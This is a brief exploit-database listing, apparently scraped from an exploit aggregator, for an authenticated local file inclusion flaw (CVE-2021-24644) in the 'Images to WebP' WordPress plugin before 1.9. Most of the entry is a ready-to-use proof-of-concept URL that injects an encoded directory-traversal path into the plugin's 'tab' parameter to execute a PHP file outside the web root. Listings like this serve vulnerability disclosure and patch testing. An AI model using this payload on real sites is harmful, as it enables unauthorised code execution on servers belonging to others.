Exploit for Images to WebP < 1.9 - Authenticated Local File Inclusion CVE-2021-24644

Name: Exploit for Images to WebP < 1.9 - Authenticated Local File Inclusion CVE-2021-24644
Rating: 5 (253 reviews)

2021-10-19 | CVSS 5.0

## https://sploitus.com/exploit?id=WPEX-ID:5A363EEB-9510-4535-97E2-9DFD3B10D511
Assuming WordPress installed at C:\xampp\htdocs\wordpress,

https://example.com/wp-admin/upload.php?page=images-to-webp.php&tab=%2F..%2F..%2F..%2F..%2F..%2Fphp_file

This will execute php_file.php at C:\xampp, outside the web-exposed directory.